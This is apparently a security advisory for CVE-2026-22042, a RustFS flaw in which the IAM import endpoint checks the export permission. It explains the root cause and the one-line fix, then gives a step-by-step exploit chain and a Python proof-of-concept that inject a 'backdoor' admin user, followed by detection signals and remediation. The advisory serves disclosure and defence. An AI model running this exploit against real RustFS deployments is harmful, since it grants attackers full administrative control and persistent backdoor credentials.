CVE-2026-22042: RustFS IAM Action Mismatch Enables Privilege Escalation
RustFS's ImportIam admin API validates against ExportIAMAction instead of ImportIAMAction, letting export-only principals perform privileged IAM writes. CVSS 8.8.
A flaw has been discovered in RustFS, a data storage system used by some companies to manage files across multiple servers. The problem is a simple but dangerous mistake in how the system checks permissions.
Think of it like a bank that has two types of customer accounts: one that lets you withdraw money, and another that lets you deposit money. A security guard is supposed to check your account type before letting you into each room. But due to a mix-up, the guard checking the deposit room accidentally looks at whether you have withdrawal permissions instead. Someone with only withdrawal access can now walk into the deposit room and add money to any account they want.
In this case, attackers with limited permissions for exporting data can trick the system into letting them import and modify data. This means they could create fake employee accounts, change access rules, or give themselves admin-level powers. It's basically handing over the keys to someone you only meant to give read-only access.
Companies running RustFS versions before 1.0.0-alpha.79 are most at risk, particularly those storing sensitive internal data like employee records or access credentials. The good news is no one has actively exploited this yet, so patching now prevents problems later.
Here's what to do: First, check whether your company uses RustFS by asking your IT department. Second, if it does, make sure they update to the latest version immediately. Third, review who currently has export-level access to your RustFS systems and consider restricting it to only people who genuinely need it. These basic steps close the door before someone takes advantage of the oversight.
Want the full technical analysis? Click "Technical" above.
▶ Privilege escalation — CVE-2026-22042
Vulnerability Overview
CVE-2026-22042 is a logic-class privilege escalation in RustFS, a distributed object storage system written in Rust. The ImportIam admin API endpoint validates caller permissions by checking for ExportIAMAction instead of ImportIAMAction. Because IAM import performs privileged write operations — creating users, updating groups, assigning policies, provisioning service accounts — any principal holding only export-only IAM permissions can silently perform full IAM modification. The bug exists in all versions prior to 1.0.0-alpha.79.
This is not a memory safety issue; it is an authorization logic error. The impact is severe because IAM import is effectively a full-takeover primitive: an attacker who can write arbitrary IAM state can create admin-equivalent principals, backdoor service accounts, or overwrite existing policy bindings.
Root cause: The ImportIam handler passes ExportIAMAction — the read-only export capability — to the permission gate instead of ImportIAMAction, collapsing the write-access control boundary to the read-access boundary.
Affected Component
The vulnerability lives inside the admin API handler layer responsible for IAM lifecycle operations. The two relevant action constants and the handler function are:
The admin API maps each endpoint to a permission check before dispatching to the handler body. The pattern is consistent across all IAM endpoints — every handler calls a permission-check helper, passing the action constant that the caller must hold. For ExportIam this is correct. For ImportIam, the wrong constant was passed.
Below is representative pseudocode reconstructed from the pre-patch codebase. The Rust logic translates directly to this structure:
// admin/handlers/iam.rs — PRE-PATCH (vulnerable)
// Export handler — correct
fn handle_export_iam(ctx: &AdminContext, req: &Request) -> Result {
// Permission gate: checks ExportIAMAction — CORRECT
ctx.check_admin_permission(req, AdminAction::ExportIAMAction)?;
let iam_data = ctx.object_api.export_iam()?;
serialize_and_respond(iam_data)
}
// Import handler — VULNERABLE
fn handle_import_iam(ctx: &AdminContext, req: &Request) -> Result {
// BUG: checks ExportIAMAction instead of ImportIAMAction
// Any principal with export-only IAM perms passes this gate
ctx.check_admin_permission(req, AdminAction::ExportIAMAction)?; // <-- WRONG ACTION
// Everything below executes for export-only principals:
let body = read_request_body(req)?;
let iam_payload: IamData = deserialize(body)?;
// Privileged write path — creates/updates users, groups, policies, SAs
ctx.object_api.import_iam(iam_payload)?; // full IAM overwrite capability
Ok(Response::ok())
}
The check_admin_permission function itself is not buggy — it correctly enforces whatever action constant it receives. The defect is entirely in the call site: handle_import_iam passes the read-action constant, so the write path is gated by the read permission.
// Permission gate implementation (not buggy — shown for clarity)
fn check_admin_permission(
ctx: &AdminContext,
req: &Request,
required_action: AdminAction, // caller supplies this
) -> Result<()> {
let caller_creds = extract_credentials(req)?;
let allowed = ctx.iam_sys.is_allowed(IsAllowedArgs {
account_name: &caller_creds.access_key,
action: required_action, // evaluates whatever was passed in
..Default::default()
});
if !allowed {
return Err(AdminError::AccessDenied);
}
Ok(())
}
Exploitation Mechanics
EXPLOIT CHAIN — CVE-2026-22042
1. Attacker provisions or obtains a principal P with ExportIAMAction only.
Typical scenario: read-only auditor account, misconfigured service account,
or a compromised low-privilege credential harvested from env/config.
2. Attacker calls GET /minio/admin/v3/export-iam to verify export works.
HTTP 200 confirms ExportIAMAction is present on P. Baseline established.
3. Attacker crafts a malicious IAM payload:
- Adds new user "backdoor" with password hash under attacker control
- Attaches policy "consoleAdmin" (or equivalent superuser policy)
- Optionally adds service account SA with long-lived static credentials
4. Attacker sends POST /minio/admin/v3/import-iam with the crafted payload,
authenticated as P (export-only principal).
5. Server evaluates: check_admin_permission(req, ExportIAMAction)
-> P holds ExportIAMAction -> ALLOWED (wrong gate passes)
-> import_iam() executes with full write semantics
6. IAM state is now attacker-controlled:
- "backdoor" user exists with consoleAdmin policy
- Original admin credentials may be overwritten if payload replaces them
- Service account SA provides persistent, policy-bypassing access
7. Attacker authenticates as "backdoor" or uses SA credentials.
Full administrative control achieved.
Step 3 deserves elaboration. The import_iam backend path performs an upsert on all IAM objects in the payload. This means the attacker does not need to know existing user names or policy names — they can inject new objects alongside existing ones. Supplying a payload derived from a prior export-iam call (step 2) with additions appended guarantees the existing state is preserved, making the intrusion less detectable.
# Minimal PoC skeleton — CVE-2026-22042
# Requires: export-only IAM credentials (AccessKey, SecretKey)
import json, hmac, hashlib, requests
from datetime import datetime, timezone
TARGET = "http://rustfs-host:9000"
AK = "EXPORT_ONLY_ACCESS_KEY"
SK = "export_only_secret_key"
# Step 1: Export current IAM state
export_resp = minio_admin_request("GET", "/minio/admin/v3/export-iam", AK, SK)
iam_state = json.loads(export_resp.content)
# Step 2: Inject backdoor user + admin policy binding
iam_state["users"]["backdoor"] = {
"secretKey": "Sup3rS3cret!",
"status": "enabled"
}
iam_state["userPolicies"]["backdoor"] = ["consoleAdmin"]
# Step 3: Import modified IAM — authenticated as export-only principal
# Server checks ExportIAMAction (which we hold) instead of ImportIAMAction
import_resp = minio_admin_request(
"PUT", "/minio/admin/v3/import-iam",
AK, SK, body=json.dumps(iam_state).encode()
)
assert import_resp.status_code == 200, "unexpected: " + import_resp.text
print("[+] IAM state overwritten. Login as backdoor:Sup3rS3cret!")
Memory Layout
This is a logic vulnerability, not a memory corruption bug. There is no heap or stack corruption. The "memory" that matters here is the IAM state store — the persistent key-value objects written by import_iam into the distributed metadata backend.
The fix in 1.0.0-alpha.79 is a one-line change: the action constant passed to check_admin_permission inside handle_import_iam is corrected from ExportIAMAction to ImportIAMAction.
// BEFORE (vulnerable — all versions < 1.0.0-alpha.79):
fn handle_import_iam(ctx: &AdminContext, req: &Request) -> Result {
ctx.check_admin_permission(req, AdminAction::ExportIAMAction)?; // WRONG
// ... import body ...
}
// AFTER (patched — 1.0.0-alpha.79):
fn handle_import_iam(ctx: &AdminContext, req: &Request) -> Result {
ctx.check_admin_permission(req, AdminAction::ImportIAMAction)?; // CORRECT
// ... import body (unchanged) ...
}
The fix is minimal and correct. ImportIAMAction is a distinct, separately-grantable capability. After the patch, holding ExportIAMAction no longer satisfies the import gate. Principals require an explicit grant of ImportIAMAction — a write-class privilege — to reach the import_iam execution path.
Worth noting: the patch does not introduce rate limiting, audit logging, or payload size validation on the import path. These are defense-in-depth gaps that remain open. A future hardening pass should consider:
Structured audit log entry on every import_iam call (caller identity, payload hash, timestamp)
Payload schema validation before upsert to prevent malformed policy injection
Optional: require MFA or re-authentication for IAM import, consistent with how AWS IAM handles sensitive operations
Detection and Indicators
Without post-patch audit logging on the import path, detection relies on external signals:
DETECTION SIGNALS
1. HTTP access logs — look for:
PUT /minio/admin/v3/import-iam HTTP/1.1 200
from any principal that also emits:
GET /minio/admin/v3/export-iam HTTP/1.1 200
within the same session or short time window.
2. IAM state diff — snapshot IAM periodically via export-iam;
alert on unexpected user/policy additions, especially:
- New users with consoleAdmin or s3:* policy bindings
- New service accounts with no corresponding provisioning event
3. Credential usage anomaly — an export-only principal (by policy name
convention) issuing admin write requests should trigger SIEM alert.
4. Filesystem / etcd diff — RustFS persists IAM to backend metadata store.
Unexpected writes to IAM key prefix outside of provisioning windows
indicate exploitation.
Remediation
Immediate: Upgrade to RustFS 1.0.0-alpha.79 or later. The patch is a one-line fix with no API surface changes or migration requirements.
If upgrade is not immediately possible:
Audit all principals holding ExportIAMAction. Revoke the permission from any account that does not have a legitimate operational need.
If possible, firewall the admin API (/minio/admin/v3/) to trusted management hosts only. This does not fix the logic bug but reduces the attacker surface to already-trusted networks.
Enable access logging at the reverse proxy or load balancer layer and alert on import-iam requests from any identity not explicitly authorized for write operations.
Post-upgrade: Audit existing IAM state for unexpected users, policies, or service accounts created during the exposure window. Any deployment running a vulnerable version with ExportIAMAction-bearing principals should be treated as potentially compromised until IAM state is verified clean.